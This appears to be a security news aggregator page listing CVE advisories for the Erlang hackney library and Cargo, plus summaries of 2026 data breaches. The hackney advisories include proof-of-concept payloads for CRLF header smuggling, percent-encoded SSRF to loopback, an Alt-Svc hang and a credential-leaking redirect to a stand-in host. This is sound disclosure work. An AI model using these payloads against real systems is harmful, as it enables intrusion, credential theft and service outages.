| Risiko 5 / 10 CVE-2026-47075 | vor 32 Tag(en) | |
| ### Summary
`hackney_url:make_url/3` passes the URL query component directly into the HTTP/1.1 request target without percent-encoding `\r` or `\n`. RFC 3986 §3.4 requires characters outside the query grammar to be percent-encoded, but no validation or escaping occurs. An attacker who controls any portion of the URL passed to hackney can inject raw CRLF sequences into the request line, enabling HTTP header injection or full request splitting.
### Details
`hackney_url:make_url/3` in `src/hackney_url.erl` builds the request target by concatenating the path and query binaries. The query string is used as-is — no character-class check, no percent-encoding of `\r` or `\n`. When hackney serializes the request, the query value lands verbatim in the `GET |
||
| Risiko 5 / 10 CVE-2026-47070 | vor 32 Tag(en) | |
| ### Summary The HTTP/3 redirect handler in `src/hackney_h3.erl` forwards the original request headers (`Authorization`, `Cookie`, `Proxy-Authorization`) and, for 307/308 responses, the original request body to the redirect target without checking whether the target host matches the origin. When `follow_redirect` is enabled and a server responds with a cross-origin `Location`, hackney delivers the caller's credentials verbatim to the attacker-controlled host. The main hackney HTTP/1 client has `maybe_strip_auth_on_redirect/2` (the fix for CVE-2018-1000007); the H3 client was added later without it. ### Details In `src/hackney_h3.erl`, `handle_redirect/11` (line 165) extracts the redirect target from the server-controlled `Location` header via `get_redirect_location/1` and resolves it with `resolve_redirect_url/2`, which accepts any absolute `http://` or `https://` URL. It then calls `do_request_with_redirect/8` passing the original `Headers` list unchanged. For 307/308 responses, `redirect_method/2` preserves the original method and body, so the POST body is also forwarded. No comparison is made between the original URL's scheme, host, or port and the redirect target. The downstream `connect/3` opens a new QUIC connection to whatever the `Location` header named, and `build_request_headers/4` serializes the unmodified headers into the QPACK-encoded request. ### PoC 1. Issue an HTTP/3 POST to an attacker-controlled origin with `follow_redirect => true` and an `Authorization: Bearer ...` header. 2. The attacker's server responds `307 Location: https://other.host/collect`. 3. hackney opens a new connection to `other.host` and re-sends the original headers and body, including the bearer token and any `Cookie` headers. ### Impact Credential and request-body disclosure to attacker-controlled origins. Affects hackney 3.1.1 through 4.0.0 when using the HTTP/3 client with `follow_redirect` enabled. Any upstream that is malicious, compromised, or reachable via DNS/MITM can steal session tokens, bearer credentials, and POST bodies. CVSS v4.0: **6.0 (MEDIUM)**. ## Resources * Introduction commit: https://github.com/benoitc/hackney/commit/e61b7d04b7826847e1efe614106ef4d580c78eab * Patch commit: https://github.com/benoitc/hackney/commit/c58d5b50bade146360b85caf3dc8065807b08246 | ||
| Risiko 5 / 10 CVE-2026-47076 | vor 32 Tag(en) | |
| ### Summary `hackney_url:normalize/2` URL-decodes the host component of a parsed URL, but the caller's SSRF allowlist runs before normalization using OTP's `uri_string:parse/1` and `inet:parse_address/1`, neither of which decodes percent-escapes in hostnames. A URL like `http://%31%32%37%2E%30%2E%30%2E%31/` presents an encoded, non-IP-looking host to the validator, which passes the allowlist check; hackney's normalizer then decodes it to `127.0.0.1` and connects to loopback. Because `hackney:request/5` always calls `normalize/2` with no opt-out, every request path that accepts a binary or list URL is affected. This is a parser-differential SSRF in the same class as CVE-2025-1211, but in a different function. ### Details In `src/hackney_url.erl` (lines 161–186), `normalize/2` checks whether the parsed host is already a dotted-quad or IPv6 literal via `inet_parse:address/1`. Percent-encoded forms like `%31%32%37%2E%30%2E%30%2E%31` fail that check and fall into the catch-all branch, where `urldecode/1` decodes the host before passing it to IDNA conversion: ```erlang Host1 = binary_to_list( urldecode(unicode:characters_to_binary(Host0)) ), ``` The decoded host (`"127.0.0.1"`) replaces the original in the returned `#hackney_url{}` record. `hackney:request/5` at `src/hackney.erl:463` always calls `normalize/2`, so the decoded host is what `do_dispatch/1` and `add_host_header/2` ultimately use. The on-wire `Host:` header and the TCP connect target both reflect the decoded value. The same payload pattern reaches the AWS/GCP/Azure IMDS (`169.254.169.254`), RFC1918 ranges, and any `localhost` admin endpoint. The 1.21.0 patch for CVE-2025-1211 fixed a separate differential in `parse_url/1` and did not touch `normalize/2`. ### PoC 1. Validate the URL with the canonical Erlang SSRF allowlist: `uri_string:parse/1` returns host `<<"%31%32%37%2E%30%2E%30%2E%31">>`, `inet:parse_address/1` returns `{error, einval}`, so the allowlist accepts it. 2. Pass the same URL to `hackney:get/1`. 3. hackney's `normalize/2` decodes the host to `"127.0.0.1"` and connects to `127.0.0.1:80`. The internal service receives the request with `Host: 127.0.0.1`. ### Impact Unauthenticated SSRF bypassing the canonical Erlang allowlist pattern. Affects hackney 0.13.0 through 4.0.0 for any application that accepts attacker-supplied URLs. Targets include cloud IMDS endpoints, `localhost` admin interfaces, and RFC1918 backends. CVSS v4.0: **6.9 (MEDIUM)**. ## Resources * Introduction commit: https://github.com/benoitc/hackney/commit/4d725507588942fd00efca15b86da3273656510a * Patch commit: https://github.com/benoitc/hackney/commit/452620a92ec1da2e6b4862a049a2a4f04b42068f | ||
| Risiko 7.5 / 10 CVE-2026-47071 | vor 32 Tag(en) | |
| ### Summary The SOCKS5 transport in `src/hackney_socks5.erl` correctly applies the caller-supplied timeout to the SOCKS5 negotiation phase, but then upgrades the tunnel to TLS using `ssl:connect/2` (the two-argument form), which defaults to `infinity`. The `Timeout` value is in scope at that call site but is never forwarded. A hostile or man-in-the-middled SOCKS5 proxy that completes the SOCKS5 handshake normally and then stalls the TLS exchange will pin the connecting Erlang process and socket indefinitely, regardless of any `connect_timeout` or `recv_timeout` options the caller set. ### Details In `src/hackney_socks5.erl`, line 65, after the SOCKS5 negotiation succeeds, the code calls: ```erlang ssl:connect(Socket, SSLOpts) ``` The three-argument form `ssl:connect/3` takes a timeout; the two-argument form used here defaults to `infinity`. The variable `Timeout` (already used for SOCKS5 recv calls earlier in the same function) is simply not passed. The bytes that drive the TLS handshake on the upstream side of the tunnel come from whatever endpoint the proxy connects to. A hostile proxy can complete SOCKS5 normally, then either stay silent or send a partial `ServerHello` and stop, keeping `ssl:connect/2` blocked forever. No certificate forgery is needed. ### PoC 1. Stand up a SOCKS5 proxy that completes the SOCKS5 greeting and CONNECT reply normally, then goes silent (never sends a TLS ServerHello). 2. Issue an HTTPS request through it via hackney with `connect_timeout` and `recv_timeout` set to a short value (e.g. 2000 ms). 3. Observe the calling process remains blocked well past the configured timeout, consuming a process and socket until killed externally. ### Impact Denial of service via unbounded process and socket consumption. Affects hackney 0.10.0 through 4.0.0 for any HTTPS request routed through a SOCKS5 proxy. The `connect_timeout` and `recv_timeout` options give a false sense of safety since they are not honored during the TLS upgrade. CVSS v4.0: **8.2 (HIGH)**. ## Resources * Introduction commit: https://github.com/benoitc/hackney/commit/34cdbd1d20a282aacc286a89327465a3925b4c5d * Patch commit: https://github.com/benoitc/hackney/commit/5ccdab725c561a6f03d05a51f2d0664f98236dae | ||
| Risiko 7.5 / 10 CVE-2026-47067 | vor 32 Tag(en) | |
| ### Summary [CVE-2026-47067](https://nvd.nist.gov/vuln/detail/CVE-2026-47067) is an atom table exhaustion vulnerability (CWE-770) in hackney's URL parser (`src/hackney_url.erl`). `hackney_url:parse_url/1` converts every URL scheme it encounters into a BEAM atom via `binary_to_atom/2`. Because BEAM atoms are never garbage-collected and the atom table has a hard limit of 1,048,576 entries, an attacker who can feed URLs with attacker-chosen scheme prefixes — directly as request targets, as webhook/callback URLs, or via `Location` headers in redirect chains — can exhaust the atom table and crash the entire BEAM VM with `system_limit`. ### Details **1. Scheme extraction and conversion** In `src/hackney_url.erl`, `parse_url/1` extracts the scheme binary (the part before `://`), validates it with `is_valid_scheme/1` (RFC 3986 alphabet: alpha-led, `<=19` bytes, alphanumeric/`+`/`-`/`.` body), lowercases it, then calls: ```erlang binary_to_atom(SchemeLower, utf8) ``` The resulting atom is stored on the `#hackney_url{}` record and returned to the caller. **2. Permanent atom accumulation** The validation constrains the alphabet but not uniqueness. The allowed scheme space is enormous (≈52·65¹⁸ values), far exceeding the default atom limit of 1,048,576. Each distinct scheme mints a new permanent atom. Even when hackney subsequently rejects an unsupported scheme with `{error, {unsupported_scheme, _}}`, the atom has already been interned and is never reclaimed. **3. Crash vector** The most dangerous path is redirect following: when hackney follows a `Location` header, the redirect target URL is re-parsed by the same function. An attacker-controlled server can serve a sequence of redirects — or a batch of URLs from an upstream feed — each with a fresh unique scheme, driving the atom count monotonically upward. At the limit the BEAM emits `system_limit` and the node terminates; recovery requires a full restart. ### PoC 1. Call `hackney_url:parse_url/1` (or `:hackney.request/5`) repeatedly with URLs whose scheme prefixes are unique on each call: `aaaa://x`, `aaab://x`, `aaac://x`, … 2. After enough iterations, observe `erlang:system_info(:atom_count)` climbing by one per unique scheme. 3. At 1,048,576 atoms the VM crashes with `system_limit`. Alternatively, point hackney at a server that replies with a feed of ~1M URLs with distinct schemes (or uses redirect chains with rotating schemes); the atom table is exhausted and the node crashes without the client being able to intervene. ### Impact Unauthenticated remote denial of service via permanent resource exhaustion leading to VM termination. Any application using hackney 2.0.0 through 4.0.0 that processes attacker-influenced URLs — direct request targets, webhook URLs, or `Location` headers in followed redirects — is affected. No authentication or special configuration is required. CVSS v4.0 score: **8.7 (HIGH)**. ## References * Introduction commit: https://github.com/benoitc/hackney/commit/d9713695c0d99855d12c73fd8a0b4be0543950c4 * Patch commit: https://github.com/benoitc/hackney/commit/31f6f0e27e096ad88743dfded4f030a3ee74972e | ||
| Risiko 2 / 10 CVE-2026-47069 | vor 32 Tag(en) | |
| ### Summary CRLF injection in `hackney_cookie:setcookie/3` (`src/hackney_cookie.erl`). The function validates `Name` and `Value` against CR/LF and control characters but concatenates the `domain` and `path` options verbatim into the output binary. If either option carries attacker-controlled data, a `Host` header forwarded as the cookie domain, a request URI forwarded as the cookie path, a `\r\n` in the value splits the `Set-Cookie` header and lets the attacker inject additional headers into the HTTP response. ### Details **1. Asymmetric validation** Lines 27–34 of `hackney_cookie.erl` run `binary:match` on `Name` and `Value`, rejecting `=`, `,`, `;`, whitespace, `\r`, `\n`, `\013`, and `\014`. The `Domain` and `Path` options (lines 47 and 51) skip this check entirely and land straight in the result iolist: ```erlang [<<"; Domain=">>, Domain] [<<"; Path=">>, Path] ``` `iolist_to_binary(...)` on line 63 flattens everything and returns it to the caller. **2. Injection** A `Path` of `<<"/x\r\nSet-Cookie: admin=1; Path=/">>` produces a binary with a literal `\r\n`. Written into a `Set-Cookie` response header, the receiving HTTP parser splits it into two headers — one legitimate, one attacker-controlled. **3. Realistic trigger** Common patterns: keying the cookie domain off `Host`, deriving the path from the request URI, or copying a `Location` path into a cookie. Any of these lets a remote attacker control the injected content. ### PoC 1. Call `hackney_cookie:setcookie(<<"sid">>, <<"abc">>, [{path, <<"/x\r\nSet-Cookie: admin=1; Path=/">>}])`. 2. The returned binary contains a literal `\r\n` followed by a second `Set-Cookie:` line. 3. Write the result into a `Set-Cookie` response header — the client parses two headers, including `admin=1`. ### Impact Cookie injection / HTTP response splitting at the `hackney_cookie` API boundary. Affects hackney 0.9.0 through 4.0.0 wherever `domain` or `path` options are populated from request data. Exploitation can overwrite session/auth cookies, fix cookies, or strip `Secure`/`HttpOnly` flags. CVSS v4.0: **2.1 (LOW)** — requires attacker-controlled input to reach the `domain` or `path` option. ## Resources * Introduction commit: https://github.com/benoitc/hackney/commit/602d5c7f2ea4acbc83ed75230655d935a0750ebc * Patch commit: https://github.com/benoitc/hackney/commit/8e02b99c28aea1b3fa2ddc0e66f51fe5bb0ac540 | ||
| Risiko 7.5 / 10 CVE-2026-47066 | vor 32 Tag(en) | |
| ### Summary [CVE-2026-47066](https://nvd.nist.gov/vuln/detail/CVE-2026-47066) is an infinite loop (CWE-835) in hackney's Alt-Svc response header parser (`src/hackney_altsvc.erl`). When an HTTP server returns an `Alt-Svc` header whose value begins with a non-token byte (e.g. `!`, `@`, `=`, `;`), the parser enters a tight tail-recursive loop that pins an Erlang scheduler at 100% CPU and permanently hangs the calling connection process. Because the parser is invoked synchronously on every HTTP response, any attacker-controlled origin can trigger the hang with a single-byte header value. ### Details **1. Parser dispatch** `parse_and_cache/3` is called inside the hackney connection process on each HTTP response. It collects all `Alt-Svc` header values via `collect_altsvc_headers/1`, concatenates them, and passes the result to `parse/1`, which calls `parse_entries(Header, [])`. **2. Failed token consumption** `parse_entries/2` → `parse_entry/1` → `parse_protocol/1` → `parse_token(Data, <<>>)`. The function `parse_token/2` pattern-matches leading bytes: alphanumeric, `-`, `_`, whitespace, and comma all have explicit clauses. Any other byte (e.g. `!`) falls through to the catch-all: ```erlang parse_token(Rest, <<>>) -> {undefined, Rest}. ``` This returns the *input unchanged* — no byte is consumed. **3. No-progress loop** `parse_entry` propagates `{undefined, Rest}` back to `parse_entries/2`, which calls `skip_comma(Rest)`. Because the first byte is not `,`, `skip_comma` also returns `Rest` unchanged. `parse_entries` then recurses with the identical buffer: ```erlang parse_entries(Data, Acc) % Data identical to previous iteration ``` Erlang tail recursion never preempts on a pure CPU loop, so the scheduler is pinned and the process never yields or returns. **4. Root cause** `parse_entries/2` has no guard that detects zero-byte progress after a failed `parse_entry` call and no fallback to advance past the offending byte. ### PoC 1. Start an HTTP server that responds with the header `Alt-Svc: !` (any single non-token byte suffices). 2. Issue any HTTP GET request via hackney to that server: ```erlang hackney:request(get, "http://attacker.example/", [], <<>>, []) ``` 3. Observe that the call never returns; the Erlang scheduler hosting the connection process is pinned at 100% CPU indefinitely. Alternatively, call the parser directly: `hackney_altsvc:parse(<<"!">>)` — the process hangs immediately. ### Impact Denial of service via unbounded CPU consumption. Any application using hackney 2.0.0-beta.1 through 4.0.0 that connects to attacker-controlled HTTP endpoints is affected. No authentication is required; a single response header byte is sufficient to hang the connection process. Fixed in hackney 4.0.1. CVSS v4.0 score: **8.7 (HIGH)**. ## Resources * Introduction commit: https://github.com/benoitc/hackney/commit/408e5fe20302226ea8c74dde2bcbd452d712b5b2 * Patch commit: https://github.com/benoitc/hackney/commit/e548aba1f97ffa3f4750da7b772998fb78c01894 | ||
| Risiko 5 / 10 CVE-2026-5223 | vor 32 Tag(en) | |
| The Rust Security Response Team was notified that Cargo incorrectly handled symlinks inside of crate tarballs downloaded from third-party registries, allowing a malicious crate to override the source code of another crate from the same registry. This vulnerability is tracked as CVE-2026-5223. The severity of the vulnerability is **medium** for users of third-party registries. Users of crates.io are **not affected**, as crates.io forbids uploading crates containing any symlink. ## Overview When building a crate, Cargo extracts its source code in a local cache (stored within `~/.cargo`), reusing it for any future build. Cargo includes protections to prevent any file from being extracted outside of the crate's own cache directory. It was discovered that it's possible to craft a malicious tarball able to extract files one level below the crate's own cache directory. With the way the cache is structured, that allowed the malicious crate to override the cache of other crates belonging to the same registry. ## Mitigations Rust 1.96.0, to be released on May 28th, 2026, will update Cargo to reject extracting *any* symlink within crate tarballs, regardless of whether they come from crates.io (which already forbids them) or third-party registries. Note that Cargo never added symlinks when running `cargo package` or `cargo publish`, so the impact of this should be minimal. Users who are not able to upgrade to the most recent Rust version are recommended to audit the contents of their registry for the presence of any symlink, and to configure their registry to reject symlink (if such option is available). ## Affected versions All versions of Cargo shipped before Rust 1.96.0 are affected. ## Acknowledgements Cargo would like to thank Christos Papakonstantinou for reporting this to us according to the [Rust security policy][1]. Cargo also wants to thank the members of the Rust project who helped address the vulnerability: Josh Triplett for developing the fix; Arlo Siemsen for reviewing the fix; Emily Albini for writing this advisory; Emily Albini, Josh Stone and Manish Goregaokar for coordinating the disclosure; Ed Page and Eric Huss for advising during the disclosure. [1]: https://rust-lang.org/policies/security | ||
| Risiko 2 / 10 CVE-2026-5222 | vor 32 Tag(en) | |
| The Rust Security Response Team was notified that Cargo incorrectly normalized the URLs of third-party registries using the [sparse index protocol][1]. If a hosting provider allowed multiple registries to be hosted with arbitrary names within the same domain, an attacker able to publish crates in a registry could obtain the credentials of others users of the same registry. This vulnerability is tracked as CVE-2026-5222. The severity of the vulnerability is **low**, due to the extremely niche requirements needed to achieve the attack. ## Overview Originally Cargo only supported storing a registry's index within git repositories. Most git hosting solutions allow accessing a git repository with or without the `.git` suffix, so Cargo mirrored this behavior when normalizing registry URLs. This allowed credentials for `https://example.com/index` to be used for `https://example.com/index.git`. This normalization was unintentionally applied to the new sparse indexes too. Sparse indexes can be hosted on any HTTPS server, which treat URLs ending with `.git` as different URLs than those without the suffix. If the following conditions apply: * `https://example.com/index` is a sparse index. * `https://example.com/index` allows crates to depend on crates from any other registry. * The attacker is able to publish crates on `https://example.com/index`. * The attacker is able to upload arbitrary files to `https://example.com/index.git`. ...the attacker could configure `https://example.com/index.git` to be a Cargo sparse registry requiring authentication for downloads, and with a download URL pointing to a server recording any credentials set to it. When the attacker then publishes a crate `foo` to `https://example.com/index` depending on a crate `bar` from `https://example.com/index.git`, and tricks the victim into downloading `foo`, Cargo will think the two registries share the same credential and send the victim's Cargo token to the malicious registry. ## Mitigations Rust 1.96, to be released on May 28th, 2026, will update Cargo to only strip the `.git` suffix from registry URLs using the git protocol. No mitigations are available for users of older versions of Cargo. ## Affected versions All versions of Cargo shipped between Rust 1.68 (the stabilization of sparse registries) and 1.96 are affected. ## Acknowledgements Cargo would like to thank Christos Papakonstantinou for reporting this issue according to the [Rust security policy][2]. Cargo also wants to thank the members of the Rust project who helped address the vulnerability: Arlo Siemens for developing the fix; Weihang Lo, Eric Huss and Emily Albini for reviewing the fix; Emily Albini for writing this advisory; Emily Albini, Josh Stone and Manish Goregaokar for coordinating the disclosure. [1]: https://doc.rust-lang.org/cargo/reference/registries.html#registry-protocols [2]: https://rust-lang.org/policies/security | ||
| 18.06.2026 - Operation Endgame 4.0 | 4.160.519 Datensätze geleaked | |
| Email addresses, Passwords On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords recovered during the operation. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation targeted by Operation Endgame were provided to HIBP, bringing the total to almost 4.2M unique email addresses. |
||
| 15.06.2026 - June 2026 Stealer Logs | 56.278.397 Datensätze geleaked | |
| Email addresses, Passwords In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API. |
||
| 12.06.2026 - American Tower | 216.601 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In June 2026, telecommunications tower infrastructure company American Tower was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly taken from the company containing more than 200k unique email addresses belonging to employees, contractors, customers, and leads. Exposed data also included names, addresses, and phone numbers. |
||
| 12.06.2026 - JCPenney | 368.418 Datensätze geleaked | |
| Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses. |
||
| 11.06.2026 - Ralph Lauren | 139.903 Datensätze geleaked | |
| Age groups, Email addresses, Genders, Names, Phone numbers In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups. |
||
| 09.06.2026 - University of Nottingham | 454.635 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni". |
||
| 05.06.2026 - Madison Square Garden Sports | 9.796.738 Datensätze geleaked | |
| Customer service records, Email addresses, Names, Phone numbers, Physical addresses In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters "pay or leak" extortion campaign. The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information. |
||
| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
||
| 29.05.2026 - BCD Travel | 396.313 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets. |
||
| 23.05.2026 - Baker Distributing | 102.935 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity. |
||
| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
||
| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
||
| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
||
| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
||
| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
||
| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
||
| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
||
| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
||
| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
||
| 20.04.2026 - Canada Life | 237.810 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data. |
||
| 20.04.2026 - Pitney Bowes | 8.243.989 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles. |
||
| 18.04.2026 - Carnival | 7.531.359 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity. |
||
| 15.04.2026 - Kemper | 269.299 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement. |
||
| 15.04.2026 - Zara | 197.376 Datensätze geleaked | |
| Email addresses, Geographic locations, Purchases, Support tickets In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information. |
||
| 14.04.2026 - Abrigo | 711.099 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers". |
||
| 12.04.2026 - Marcus & Millichap | 1.837.078 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information". |
||
| 12.04.2026 - Mytheresa | 84.108 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date. |
||
